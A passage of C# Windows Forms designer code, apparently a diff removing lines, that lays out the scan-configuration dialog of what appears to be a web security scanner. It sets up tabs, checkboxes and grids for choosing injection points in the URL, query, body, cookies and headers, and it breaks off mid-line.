this.tabPage20.UseVisualStyleBackColor = true; - // - // ASRequestRawHeadersIDV - // - this.ASRequestRawHeadersIDV.AutoSize = true; - this.ASRequestRawHeadersIDV.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestRawHeadersIDV.Location = new System.Drawing.Point(0, 0); - this.ASRequestRawHeadersIDV.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestRawHeadersIDV.Name = "ASRequestRawHeadersIDV"; - this.ASRequestRawHeadersIDV.ReadOnly = true; - this.ASRequestRawHeadersIDV.Size = new System.Drawing.Size(518, 181); - this.ASRequestRawHeadersIDV.TabIndex = 0; - this.ASRequestRawHeadersIDV.IDVTextChanged += new IronDataView.IronDataView.TextChanged(this.ASRequestRawHeadersIDV_IDVTextChanged); - // - // tabPage21 - // - this.tabPage21.Controls.Add(this.ASRequestRawBodyIDV); - this.tabPage21.Location = new System.Drawing.Point(4, 22); - this.tabPage21.Margin = new System.Windows.Forms.Padding(0); - this.tabPage21.Name = "tabPage21"; - this.tabPage21.Size = new System.Drawing.Size(518, 181); - this.tabPage21.TabIndex = 1; - this.tabPage21.Text = "Raw Body"; - this.tabPage21.UseVisualStyleBackColor = true; - // - // ASRequestRawBodyIDV - // - this.ASRequestRawBodyIDV.AutoSize = true; - this.ASRequestRawBodyIDV.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestRawBodyIDV.Location = new System.Drawing.Point(0, 0); - this.ASRequestRawBodyIDV.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestRawBodyIDV.Name = "ASRequestRawBodyIDV"; - this.ASRequestRawBodyIDV.ReadOnly = true; - this.ASRequestRawBodyIDV.Size = new System.Drawing.Size(518, 181); - this.ASRequestRawBodyIDV.TabIndex = 1; - this.ASRequestRawBodyIDV.IDVTextChanged += new IronDataView.IronDataView.TextChanged(this.ASRequestRawBodyIDV_IDVTextChanged); - // - // ASRequestScanBodyCB - // - this.ASRequestScanBodyCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASRequestScanBodyCB.AutoSize = true; - this.ASRequestScanBodyCB.Enabled = false; - this.ASRequestScanBodyCB.Location = new System.Drawing.Point(-37, 88); - this.ASRequestScanBodyCB.Name = "ASRequestScanBodyCB"; - this.ASRequestScanBodyCB.Size = new System.Drawing.Size(50, 17); - this.ASRequestScanBodyCB.TabIndex = 3; - this.ASRequestScanBodyCB.Text = "Body"; - this.ASRequestScanBodyCB.UseVisualStyleBackColor = true; - // - // ASRequestScanParameterNamesCB - // - this.ASRequestScanParameterNamesCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASRequestScanParameterNamesCB.AutoSize = true; - this.ASRequestScanParameterNamesCB.Enabled = false; - this.ASRequestScanParameterNamesCB.Location = new System.Drawing.Point(-37, 150); - this.ASRequestScanParameterNamesCB.Name = "ASRequestScanParameterNamesCB"; - this.ASRequestScanParameterNamesCB.Size = new System.Drawing.Size(59, 17); - this.ASRequestScanParameterNamesCB.TabIndex = 6; - this.ASRequestScanParameterNamesCB.Text = "Names"; - this.ASRequestScanParameterNamesCB.UseVisualStyleBackColor = true; - // - // ASRequestScanAllCB - // - this.ASRequestScanAllCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASRequestScanAllCB.AutoSize = true; - this.ASRequestScanAllCB.Enabled = false; - this.ASRequestScanAllCB.Location = new System.Drawing.Point(-37, 28); - this.ASRequestScanAllCB.Name = "ASRequestScanAllCB"; - this.ASRequestScanAllCB.Size = new System.Drawing.Size(37, 17); - this.ASRequestScanAllCB.TabIndex = 0; - this.ASRequestScanAllCB.Text = "All"; - this.ASRequestScanAllCB.UseVisualStyleBackColor = true; - // - // ASRequestScanHeadersCB - // - this.ASRequestScanHeadersCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASRequestScanHeadersCB.AutoSize = true; - this.ASRequestScanHeadersCB.Enabled = false; - this.ASRequestScanHeadersCB.Location = new System.Drawing.Point(-37, 129); - this.ASRequestScanHeadersCB.Name = "ASRequestScanHeadersCB"; - this.ASRequestScanHeadersCB.Size = new System.Drawing.Size(66, 17); - this.ASRequestScanHeadersCB.TabIndex = 5; - this.ASRequestScanHeadersCB.Text = "Headers"; - this.ASRequestScanHeadersCB.UseVisualStyleBackColor = true; - this.ASRequestScanHeadersCB.Click += new System.EventHandler(this.ASRequestScanHeadersCB_Click); - // - // ASRequestScanQueryCB - // - this.ASRequestScanQueryCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASRequestScanQueryCB.AutoSize = true; - this.ASRequestScanQueryCB.Enabled = false; - this.ASRequestScanQueryCB.Location = new System.Drawing.Point(-37, 68); - this.ASRequestScanQueryCB.Name = "ASRequestScanQueryCB"; - this.ASRequestScanQueryCB.Size = new System.Drawing.Size(54, 17); - this.ASRequestScanQueryCB.TabIndex = 2; - this.ASRequestScanQueryCB.Text = "Query"; - this.ASRequestScanQueryCB.UseVisualStyleBackColor = true; - this.ASRequestScanQueryCB.Click += new System.EventHandler(this.ASRequestScanQueryCB_Click); - // - // ASRequestScanCookieCB - // - this.ASRequestScanCookieCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASRequestScanCookieCB.AutoSize = true; - this.ASRequestScanCookieCB.Enabled = false; - this.ASRequestScanCookieCB.Location = new System.Drawing.Point(-37, 108); - this.ASRequestScanCookieCB.Name = "ASRequestScanCookieCB"; - this.ASRequestScanCookieCB.Size = new System.Drawing.Size(59, 17); - this.ASRequestScanCookieCB.TabIndex = 4; - this.ASRequestScanCookieCB.Text = "Cookie"; - this.ASRequestScanCookieCB.UseVisualStyleBackColor = true; - this.ASRequestScanCookieCB.Click += new System.EventHandler(this.ASRequestScanCookieCB_Click); - // - // ASRequestScanURLCB - // - this.ASRequestScanURLCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASRequestScanURLCB.AutoSize = true; - this.ASRequestScanURLCB.Enabled = false; - this.ASRequestScanURLCB.Location = new System.Drawing.Point(-37, 48); - this.ASRequestScanURLCB.Name = "ASRequestScanURLCB"; - this.ASRequestScanURLCB.Size = new System.Drawing.Size(48, 17); - this.ASRequestScanURLCB.TabIndex = 1; - this.ASRequestScanURLCB.Text = "URL"; - this.ASRequestScanURLCB.UseVisualStyleBackColor = true; - this.ASRequestScanURLCB.Click += new System.EventHandler(this.ASRequestScanURLCB_Click); - // - // ASInjectHeaderLbl - // - this.ASInjectHeaderLbl.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASInjectHeaderLbl.AutoSize = true; - this.ASInjectHeaderLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ASInjectHeaderLbl.Location = new System.Drawing.Point(-40, 6); - this.ASInjectHeaderLbl.Name = "ASInjectHeaderLbl"; - this.ASInjectHeaderLbl.Size = new System.Drawing.Size(46, 15); - this.ASInjectHeaderLbl.TabIndex = 5; - this.ASInjectHeaderLbl.Text = "Inject:"; - // - // ASInjectionPointTab - // - this.ASInjectionPointTab.BackColor = System.Drawing.Color.White; - this.ASInjectionPointTab.Controls.Add(this.ASRequestTabs); - this.ASInjectionPointTab.Location = new System.Drawing.Point(4, 22); - this.ASInjectionPointTab.Margin = new System.Windows.Forms.Padding(0); - this.ASInjectionPointTab.Name = "ASInjectionPointTab"; - this.ASInjectionPointTab.Size = new System.Drawing.Size(553, 207); - this.ASInjectionPointTab.TabIndex = 1; - this.ASInjectionPointTab.Text = " Injection Points "; - // - // ASRequestTabs - // - this.ASRequestTabs.Controls.Add(this.ASRequestURLTab); - this.ASRequestTabs.Controls.Add(this.ASRequestQueryTab); - this.ASRequestTabs.Controls.Add(this.ASRequestBodyTab); - this.ASRequestTabs.Controls.Add(this.ASRequestCookieTab); - this.ASRequestTabs.Controls.Add(this.ASRequestHeadersTab); - this.ASRequestTabs.Controls.Add(this.ASRequestParameterNamesTab); - this.ASRequestTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestTabs.Location = new System.Drawing.Point(0, 0); - this.ASRequestTabs.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestTabs.Name = "ASRequestTabs"; - this.ASRequestTabs.Padding = new System.Drawing.Point(0, 0); - this.ASRequestTabs.SelectedIndex = 0; - this.ASRequestTabs.Size = new System.Drawing.Size(553, 207); - this.ASRequestTabs.TabIndex = 0; - // - // ASRequestURLTab - // - this.ASRequestURLTab.Controls.Add(this.ASRequestScanURLGrid); - this.ASRequestURLTab.Location = new System.Drawing.Point(4, 22); - this.ASRequestURLTab.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestURLTab.Name = "ASRequestURLTab"; - this.ASRequestURLTab.Size = new System.Drawing.Size(545, 181); - this.ASRequestURLTab.TabIndex = 0; - this.ASRequestURLTab.Text = "URL"; - this.ASRequestURLTab.UseVisualStyleBackColor = true; - // - // ASRequestScanURLGrid - // - this.ASRequestScanURLGrid.AllowUserToAddRows = false; - this.ASRequestScanURLGrid.AllowUserToDeleteRows = false; - this.ASRequestScanURLGrid.AllowUserToResizeRows = false; - this.ASRequestScanURLGrid.BackgroundColor = System.Drawing.Color.White; - this.ASRequestScanURLGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ASRequestScanURLGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ASRequestScanURLGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestURLSelectColumn, - this.ASRequestURLPositionColumn, - this.ASRequestURLValueColumn}); - this.ASRequestScanURLGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestScanURLGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ASRequestScanURLGrid.GridColor = System.Drawing.Color.White; - this.ASRequestScanURLGrid.Location = new System.Drawing.Point(0, 0); - this.ASRequestScanURLGrid.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestScanURLGrid.MultiSelect = false; - this.ASRequestScanURLGrid.Name = "ASRequestScanURLGrid"; - this.ASRequestScanURLGrid.RowHeadersVisible = false; - this.ASRequestScanURLGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ASRequestScanURLGrid.Size = new System.Drawing.Size(545, 181); - this.ASRequestScanURLGrid.TabIndex = 0; - // - // ASRequestURLSelectColumn - // - this.ASRequestURLSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestURLSelectColumn.HeaderText = "INJECT"; - this.ASRequestURLSelectColumn.Name = "ASRequestURLSelectColumn"; - this.ASRequestURLSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestURLSelectColumn.Width = 55; - // - // ASRequestURLPositionColumn - // - this.ASRequestURLPositionColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestURLPositionColumn.HeaderText = "PARAMETER POSITION"; - this.ASRequestURLPositionColumn.Name = "ASRequestURLPositionColumn"; - this.ASRequestURLPositionColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestURLValueColumn - // - this.ASRequestURLValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestURLValueColumn.HeaderText = "PARAMETER VALUE"; - this.ASRequestURLValueColumn.Name = "ASRequestURLValueColumn"; - this.ASRequestURLValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestQueryTab - // - this.ASRequestQueryTab.Controls.Add(this.ASRequestScanQueryGrid); - this.ASRequestQueryTab.Location = new System.Drawing.Point(4, 22); - this.ASRequestQueryTab.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestQueryTab.Name = "ASRequestQueryTab"; - this.ASRequestQueryTab.Size = new System.Drawing.Size(545, 181); - this.ASRequestQueryTab.TabIndex = 1; - this.ASRequestQueryTab.Text = "Query"; - this.ASRequestQueryTab.UseVisualStyleBackColor = true; - // - // ASRequestScanQueryGrid - // - this.ASRequestScanQueryGrid.AllowUserToAddRows = false; - this.ASRequestScanQueryGrid.AllowUserToDeleteRows = false; - this.ASRequestScanQueryGrid.AllowUserToResizeRows = false; - this.ASRequestScanQueryGrid.BackgroundColor = System.Drawing.Color.White; - this.ASRequestScanQueryGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ASRequestScanQueryGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ASRequestScanQueryGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestQuerySelectColumn, - this.ASRequestQueryNameColumn, - this.ASRequestQueryValueColumn}); - this.ASRequestScanQueryGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestScanQueryGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ASRequestScanQueryGrid.GridColor = System.Drawing.Color.White; - this.ASRequestScanQueryGrid.Location = new System.Drawing.Point(0, 0); - this.ASRequestScanQueryGrid.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestScanQueryGrid.Name = "ASRequestScanQueryGrid"; - this.ASRequestScanQueryGrid.RowHeadersVisible = false; - this.ASRequestScanQueryGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ASRequestScanQueryGrid.Size = new System.Drawing.Size(545, 181); - this.ASRequestScanQueryGrid.TabIndex = 1; - // - // ASRequestQuerySelectColumn - // - this.ASRequestQuerySelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestQuerySelectColumn.HeaderText = "INJECT"; - this.ASRequestQuerySelectColumn.Name = "ASRequestQuerySelectColumn"; - this.ASRequestQuerySelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestQuerySelectColumn.Width = 55; - // - // ASRequestQueryNameColumn - // - this.ASRequestQueryNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestQueryNameColumn.HeaderText = "PARAMETER NAME"; - this.ASRequestQueryNameColumn.Name = "ASRequestQueryNameColumn"; - this.ASRequestQueryNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestQueryValueColumn - // - this.ASRequestQueryValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestQueryValueColumn.HeaderText = "PARAMETER VALUE"; - this.ASRequestQueryValueColumn.Name = "ASRequestQueryValueColumn"; - this.ASRequestQueryValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestBodyTab - // - this.ASRequestBodyTab.Controls.Add(this.ASBodyInjectTypeTabs); - this.ASRequestBodyTab.Location = new System.Drawing.Point(4, 22); - this.ASRequestBodyTab.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestBodyTab.Name = "ASRequestBodyTab"; - this.ASRequestBodyTab.Size = new System.Drawing.Size(545, 181); - this.ASRequestBodyTab.TabIndex = 2; - this.ASRequestBodyTab.Text = "Body"; - this.ASRequestBodyTab.UseVisualStyleBackColor = true; - // - // ASBodyInjectTypeTabs - // - this.ASBodyInjectTypeTabs.Controls.Add(this.ASBodyTypeNormalTab); - this.ASBodyInjectTypeTabs.Controls.Add(this.ASBodyTypeFormatPluginTab); - this.ASBodyInjectTypeTabs.Controls.Add(this.ASBodyTypeCustomTab); - this.ASBodyInjectTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASBodyInjectTypeTabs.Location = new System.Drawing.Point(0, 0); - this.ASBodyInjectTypeTabs.Margin = new System.Windows.Forms.Padding(0); - this.ASBodyInjectTypeTabs.Multiline = true; - this.ASBodyInjectTypeTabs.Name = "ASBodyInjectTypeTabs"; - this.ASBodyInjectTypeTabs.Padding = new System.Drawing.Point(0, 0); - this.ASBodyInjectTypeTabs.SelectedIndex = 0; - this.ASBodyInjectTypeTabs.Size = new System.Drawing.Size(545, 181); - this.ASBodyInjectTypeTabs.TabIndex = 1; - this.ASBodyInjectTypeTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ASBodyInjectTypeTabs_Selecting); - // - // ASBodyTypeNormalTab - // - this.ASBodyTypeNormalTab.Controls.Add(this.ASRequestScanBodyTypeNormalGrid); - this.ASBodyTypeNormalTab.Location = new System.Drawing.Point(4, 22); - this.ASBodyTypeNormalTab.Margin = new System.Windows.Forms.Padding(0); - this.ASBodyTypeNormalTab.Name = "ASBodyTypeNormalTab"; - this.ASBodyTypeNormalTab.Size = new System.Drawing.Size(537, 155); - this.ASBodyTypeNormalTab.TabIndex = 0; - this.ASBodyTypeNormalTab.Text = "Normal Format"; - this.ASBodyTypeNormalTab.UseVisualStyleBackColor = true; - // - // ASRequestScanBodyTypeNormalGrid - // - this.ASRequestScanBodyTypeNormalGrid.AllowUserToAddRows = false; - this.ASRequestScanBodyTypeNormalGrid.AllowUserToDeleteRows = false; - this.ASRequestScanBodyTypeNormalGrid.AllowUserToResizeRows = false; - this.ASRequestScanBodyTypeNormalGrid.BackgroundColor = System.Drawing.Color.White; - this.ASRequestScanBodyTypeNormalGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ASRequestScanBodyTypeNormalGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ASRequestScanBodyTypeNormalGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn1, - this.dataGridViewTextBoxColumn15, - this.dataGridViewTextBoxColumn16}); - this.ASRequestScanBodyTypeNormalGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestScanBodyTypeNormalGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ASRequestScanBodyTypeNormalGrid.GridColor = System.Drawing.Color.White; - this.ASRequestScanBodyTypeNormalGrid.Location = new System.Drawing.Point(0, 0); - this.ASRequestScanBodyTypeNormalGrid.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestScanBodyTypeNormalGrid.Name = "ASRequestScanBodyTypeNormalGrid"; - this.ASRequestScanBodyTypeNormalGrid.RowHeadersVisible = false; - this.ASRequestScanBodyTypeNormalGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ASRequestScanBodyTypeNormalGrid.Size = new System.Drawing.Size(537, 155); - this.ASRequestScanBodyTypeNormalGrid.TabIndex = 2; - // - // dataGridViewCheckBoxColumn1 - // - this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn1.HeaderText = "INJECT"; - this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; - this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn1.Width = 55; - // - // dataGridViewTextBoxColumn15 - // - this.dataGridViewTextBoxColumn15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn15.HeaderText = "PARAMETER NAME"; - this.dataGridViewTextBoxColumn15.Name = "dataGridViewTextBoxColumn15"; - this.dataGridViewTextBoxColumn15.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // dataGridViewTextBoxColumn16 - // - this.dataGridViewTextBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn16.HeaderText = "PARAMETER VALUE"; - this.dataGridViewTextBoxColumn16.Name = "dataGridViewTextBoxColumn16"; - this.dataGridViewTextBoxColumn16.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASBodyTypeFormatPluginTab - // - this.ASBodyTypeFormatPluginTab.Controls.Add(this.ASRequestBodyTabSplit); - this.ASBodyTypeFormatPluginTab.Location = new System.Drawing.Point(4, 22); - this.ASBodyTypeFormatPluginTab.Margin = new System.Windows.Forms.Padding(0); - this.ASBodyTypeFormatPluginTab.Name = "ASBodyTypeFormatPluginTab"; - this.ASBodyTypeFormatPluginTab.Size = new System.Drawing.Size(537, 155); - this.ASBodyTypeFormatPluginTab.TabIndex = 1; - this.ASBodyTypeFormatPluginTab.Text = "Known Formats (Eg: JSON, XML etc)"; - this.ASBodyTypeFormatPluginTab.UseVisualStyleBackColor = true; - // - // ASRequestBodyTabSplit - // - this.ASRequestBodyTabSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestBodyTabSplit.Location = new System.Drawing.Point(0, 0); - this.ASRequestBodyTabSplit.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestBodyTabSplit.Name = "ASRequestBodyTabSplit"; - // - // ASRequestBodyTabSplit.Panel1 - // - this.ASRequestBodyTabSplit.Panel1.Controls.Add(this.ConfigureScanRequestFormatPluginsGrid); - // - // ASRequestBodyTabSplit.Panel2 - // - this.ASRequestBodyTabSplit.Panel2.Controls.Add(this.ASRequestScanBodyTabs); - this.ASRequestBodyTabSplit.Size = new System.Drawing.Size(537, 155); - this.ASRequestBodyTabSplit.SplitterDistance = 99; - this.ASRequestBodyTabSplit.SplitterWidth = 2; - this.ASRequestBodyTabSplit.TabIndex = 0; - // - // ConfigureScanRequestFormatPluginsGrid - // - this.ConfigureScanRequestFormatPluginsGrid.AllowUserToAddRows = false; - this.ConfigureScanRequestFormatPluginsGrid.AllowUserToDeleteRows = false; - this.ConfigureScanRequestFormatPluginsGrid.AllowUserToResizeRows = false; - this.ConfigureScanRequestFormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.ConfigureScanRequestFormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ConfigureScanRequestFormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ConfigureScanRequestFormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestBodyDataFormatSelectColumn, - this.ASRequestBodyDataFormatColumn}); - this.ConfigureScanRequestFormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ConfigureScanRequestFormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ConfigureScanRequestFormatPluginsGrid.GridColor = System.Drawing.Color.White; - this.ConfigureScanRequestFormatPluginsGrid.Location = new System.Drawing.Point(0, 0); - this.ConfigureScanRequestFormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.ConfigureScanRequestFormatPluginsGrid.MultiSelect = false; - this.ConfigureScanRequestFormatPluginsGrid.Name = "ConfigureScanRequestFormatPluginsGrid"; - this.ConfigureScanRequestFormatPluginsGrid.RowHeadersVisible = false; - this.ConfigureScanRequestFormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ConfigureScanRequestFormatPluginsGrid.Size = new System.Drawing.Size(99, 155); - this.ConfigureScanRequestFormatPluginsGrid.TabIndex = 0; - // - // ASRequestBodyDataFormatSelectColumn - // - this.ASRequestBodyDataFormatSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestBodyDataFormatSelectColumn.HeaderText = ""; - this.ASRequestBodyDataFormatSelectColumn.MinimumWidth = 20; - this.ASRequestBodyDataFormatSelectColumn.Name = "ASRequestBodyDataFormatSelectColumn"; - this.ASRequestBodyDataFormatSelectColumn.Width = 20; - // - // ASRequestBodyDataFormatColumn - // - this.ASRequestBodyDataFormatColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestBodyDataFormatColumn.HeaderText = "Select Format"; - this.ASRequestBodyDataFormatColumn.Name = "ASRequestBodyDataFormatColumn"; - this.ASRequestBodyDataFormatColumn.ReadOnly = true; - this.ASRequestBodyDataFormatColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestScanBodyTabs - // - this.ASRequestScanBodyTabs.Controls.Add(this.ASRequestScanBodyGridTab); - this.ASRequestScanBodyTabs.Controls.Add(this.ASRequestScanBodyXMLTab); - this.ASRequestScanBodyTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestScanBodyTabs.Location = new System.Drawing.Point(0, 0); - this.ASRequestScanBodyTabs.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestScanBodyTabs.Multiline = true; - this.ASRequestScanBodyTabs.Name = "ASRequestScanBodyTabs"; - this.ASRequestScanBodyTabs.Padding = new System.Drawing.Point(0, 0); - this.ASRequestScanBodyTabs.SelectedIndex = 0; - this.ASRequestScanBodyTabs.Size = new System.Drawing.Size(436, 155); - this.ASRequestScanBodyTabs.TabIndex = 0; - // - // ASRequestScanBodyGridTab - // - this.ASRequestScanBodyGridTab.Controls.Add(this.ConfigureScanRequestBodyTypeFormatPluginGrid); - this.ASRequestScanBodyGridTab.Location = new System.Drawing.Point(4, 22); - this.ASRequestScanBodyGridTab.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestScanBodyGridTab.Name = "ASRequestScanBodyGridTab"; - this.ASRequestScanBodyGridTab.Size = new System.Drawing.Size(428, 129); - this.ASRequestScanBodyGridTab.TabIndex = 0; - this.ASRequestScanBodyGridTab.Text = "Format Specific Injection Points"; - this.ASRequestScanBodyGridTab.UseVisualStyleBackColor = true; - // - // ConfigureScanRequestBodyTypeFormatPluginGrid - // - this.ConfigureScanRequestBodyTypeFormatPluginGrid.AllowUserToAddRows = false; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.AllowUserToDeleteRows = false; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.AllowUserToResizeRows = false; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.BackgroundColor = System.Drawing.Color.White; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestBodySelectColumn, - this.ASRequestBodyNameColumn, - this.ASRequestBodyValueColumn}); - this.ConfigureScanRequestBodyTypeFormatPluginGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.GridColor = System.Drawing.Color.White; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.Location = new System.Drawing.Point(0, 0); - this.ConfigureScanRequestBodyTypeFormatPluginGrid.Margin = new System.Windows.Forms.Padding(0); - this.ConfigureScanRequestBodyTypeFormatPluginGrid.Name = "ConfigureScanRequestBodyTypeFormatPluginGrid"; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.ReadOnly = true; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.RowHeadersVisible = false; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ConfigureScanRequestBodyTypeFormatPluginGrid.Size = new System.Drawing.Size(428, 129); - this.ConfigureScanRequestBodyTypeFormatPluginGrid.TabIndex = 2; - // - // ASRequestBodySelectColumn - // - this.ASRequestBodySelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestBodySelectColumn.HeaderText = "INJECT"; - this.ASRequestBodySelectColumn.Name = "ASRequestBodySelectColumn"; - this.ASRequestBodySelectColumn.ReadOnly = true; - this.ASRequestBodySelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestBodySelectColumn.Width = 55; - // - // ASRequestBodyNameColumn - // - this.ASRequestBodyNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestBodyNameColumn.HeaderText = "INJECTION POINT NAME"; - this.ASRequestBodyNameColumn.Name = "ASRequestBodyNameColumn"; - this.ASRequestBodyNameColumn.ReadOnly = true; - this.ASRequestBodyNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestBodyValueColumn - // - this.ASRequestBodyValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestBodyValueColumn.HeaderText = "VALUE TO 